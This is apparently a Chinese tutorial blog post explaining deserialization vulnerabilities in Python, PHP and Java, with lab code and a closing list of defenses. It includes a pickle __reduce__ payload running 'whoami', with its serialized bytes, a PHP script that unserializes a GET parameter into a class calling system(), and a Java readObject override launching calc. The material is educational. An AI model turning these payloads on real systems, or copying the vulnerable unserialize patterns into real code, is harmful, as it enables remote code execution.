你连反序列化漏洞都不会,有什么资格去hw
1.反序列化漏洞成因
序列化: 把对象转换为字节序列的过程,即把对象转换为可以存储或传输的数据的过程。例如将内存中的对象转换为二进制数据流或文件,在网络传输过程中,可以是字节或是XML等格式。
反序列化: 把字节序列恢复为对象的过程,即把可以存储或传输的数据转换为对象的过程。例如将二进制数据流或文件加载到内存中还原为对象。
在身份验证,文件读写,数据传输等功能处,在未对反序列化接口做访问控制,未对序列化数据做加密和签名,加密密钥使用硬编码(如Shiro 1.2.4),使用不安全的反序列化框架库(如Fastjson 1.2.24)或函数的情况下,由于序列化数据可被用户控制,攻击者可以精心构造恶意的序列化数据(执行特定代码或命令的数据)传递给应用程序,在应用程序反序列化对象时执行攻击者构造的恶意代码,达到攻击者的目的
2.漏洞利用原理
在Python和PHP中,一般通过构造一个包含魔术方法(在发生特定事件或场景时被自动调用的函数,通常是构造函数或析构函数)的类,然后在魔术方法中调用命令执行或代码执行函数,接着实例化这个类的一个对象并将该对象序列化后传递给程序,当程序反序列化该对象时触发魔术方法从而执行命令或代码。
在Java中没有魔术方法,但是有反射(reflection
)机制:在程序的运行状态中,可以构造任意一个类的对象,可以了解任意一个对象所属的类,可以了解任意一个类的成员变量和方法,可以调用任意一个对象的属性和方法,这种动态获取程序信息以及动态调用对象的功能称为Java语言的反射机制。一般利用反射机制来构造一个执行命令的对象或直接调用一个具有命令执行或代码执行功能的方法实现任意代码执行。
3.Python反序列化漏洞实验
以pickle模块为例,假设浏览器传递序列化后的Cookie给服务器保存,服务器经过一些处理后反序列化还原Cookie:
#!/usr/bin/python3
import pickle
# 客户端设置Cookie
set_cookie='fuckhacker'
# 序列化后传递
cookie=pickle.dumps(set_cookie)
print("序列化:",cookie)
# ...
# 服务器接收到序列化后的Cookie
# 反序列化还原Cookie
new_cookie=pickle.loads(cookie)
print("反序列化:",new_cookie)
程序正常运行时,如图:
利用pickle模块和魔术方法__reduce__
生成执行命令的Payload:
#!/usr/bin/python3
import pickle
import os
# 定义一个执行命令的类
class exec:
def __init__(self,cmd):
self.cmd=cmd
# __reduce__()函数返回一个元组时 , 第一个元素是一个可调用对象 , 这个对象会在创建对象时被调用,
# 第二个元素是可调用对象的参数,pickle.loads会解决import问题,对于未引入的module会自动尝试import
def __reduce__(self):
return (os.system,(self.cmd,))
# 实例化对象
res=exec('whoami')
# 生成序列化数据
payload=pickle.dumps(res)
print("Payload:",payload)
使用执行whoami
命令的Payload替换序列化后的Cookie的值模拟RCE漏洞利用,当正常程序反序列化Cookie值时生成包含__reduce__
函数的exec类,从而执行命令:
#!/usr/bin/python3
import pickle
# 传递执行whoami命令的序列化数据
cookie=b'\x80\x04\x95\x1e\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.'
# 反序列化还原Cookie
new_cookie=pickle.loads(cookie)
程序运行结果,如图:
4.PHP反序列化漏洞实验
PHP中通常使用serialize
函数进行序列化,使用unserialize
函数进行反序列化
PHP中常用魔术方法
__construct:当对象被创建时调用
__destruct:当对象被销毁前调用
__sleep:执行serialize函数前调用
__wakeup:执行unserialize函数前调用
__call:在对象中调用不可访问的方法时调用
__callStatic:用静态方法调用不可访问方法时调用
__get:获得类成因变量时调用
__set:设置类成员变量时调用
使用下面代码创建一个类A并实例化一个对象a,然后输出序列化对象a后的值:
<?php
// 定义一个类
class A{
var $test = "Hello";
function __construct(){
print "<h1>ABCD</h1>";
}
}
// 实例化一个对象a
$a=new A();
// 序列化对象a
print "Serialize Object A: ".serialize($a)."<br/>";
?>
PHP中序列化后的数据中并没有像Python一样包含函数__construct
和print
的信息,而仅仅是类名和成员变量的信息。因此,在unserialize
函数的参数可控的情况下,还需要代码中包含魔术方法才能利用反序列化漏洞
使用下面代码定义一个包含魔术方法__destruct的类A,然后实例化一个对象a并输出序列化后的数据,在对象销毁的时候程序会调用system函数执行df命令,然后通过GET方法传递参数arg的值给服务器进行反序列化:
<?php
// 定义一个类
class A{
// 设置变量值为df
var $test = "df";
// 定义析构函数,在类A销毁时执行system("df")
function __destruct(){
print "Execute CMD: ".$this->test."<br/>";
print "Result: ";
system($this->test);
print "<br/>";
}
}
// 实例化一个对象a
$a=new A();
// 序列化对象a
print "Serialize Object A: ".serialize($a)."<br/>";
// GET方式获取参数arg的值
$arg = $_GET['arg'];
// 反序列化参数arg的值
$a_unser = unserialize($arg);
?>
5.Java反序列化漏洞实验
Java中通常使用Java.io.ObjectOutputStream
类中的writeObject
方法进行序列化,java.io.ObjectInputStream
类中的readObject
方法进行反序列化。使用下面代码将字符串进行序列化和反序列化:
public class Main {
public static void main(String args[]) throws Exception {
String obj = "hello";
// 将序列化后的数据写入文件a.ser中,当序列化一个对象到文件时, 按照 Java 的标准约定是给文件一个 .ser 扩展名
FileOutputStream fos = new FileOutputStream("a.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj);
os.close();
// 从文件a.ser中读取数据
FileInputStream fis = new FileInputStream("a.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
// 通过反序列化恢复字符串
String obj2 = (String)ois.readObject();
System.out.println(obj2);
ois.close();
}
}
一个Java类的对象要想序列化成功,必须满足两个条件:
- 该类必须实现
java.io.Serializable
接口 - 该类的所有属性必须是可序列化的,如果有一个属性不是可序列化的,则该属性必须注明是短暂的
使用下面代码将对象序列化后存储到a.ser文件:
// 定义一个实现 java.io.Serializable 接口的类Test
class Test implements Serializable {
public String cmd="calc";
// 重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
// 执行默认的readObject()方法
in.defaultReadObject();
// 执行打开计算器程序的命令
Runtime.getRuntime().exec(cmd);
}
}
public class Main{
public static void main(String args[]) throws Exception{
// 实例化对象test
Test test = new Test();
// 将对象test序列化后写入a.ser文件
FileOutputStream fos = new FileOutputStream("a.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(test);
os.close();
}
}
使用下面代码进行反序列化对象:
// 定义一个实现 java.io.Serializable 接口的类Test
class Test implements Serializable {
public String cmd="calc";
// 重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
// 执行默认的readObject()方法
in.defaultReadObject();
// 执行打开计算器程序的命令
Runtime.getRuntime().exec(cmd);
}
}
public class Main{
public static void main(String args[]) throws Exception{
// 从a.ser文件中反序列化test对象
FileInputStream fis = new FileInputStream("a.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Test objectFromDisk = (Test)ois.readObject();
System.out.println(objectFromDisk.cmd);
ois.close();
}
}
6.防御方法
- 对反序列数据加密或签名,且加密密钥和签名密钥不要使用硬编码
- 对反序列化接口添加认证授权
- 设置反序列化服务仅在本地监听或者设置相应防火墙策略
- 禁止使用存在漏洞的第三方框架库
- 过滤、禁用危险函数
- 过滤T3协议或限定可连接的IP
- 设置Nginx反向代理,实现t3协议和http协议隔离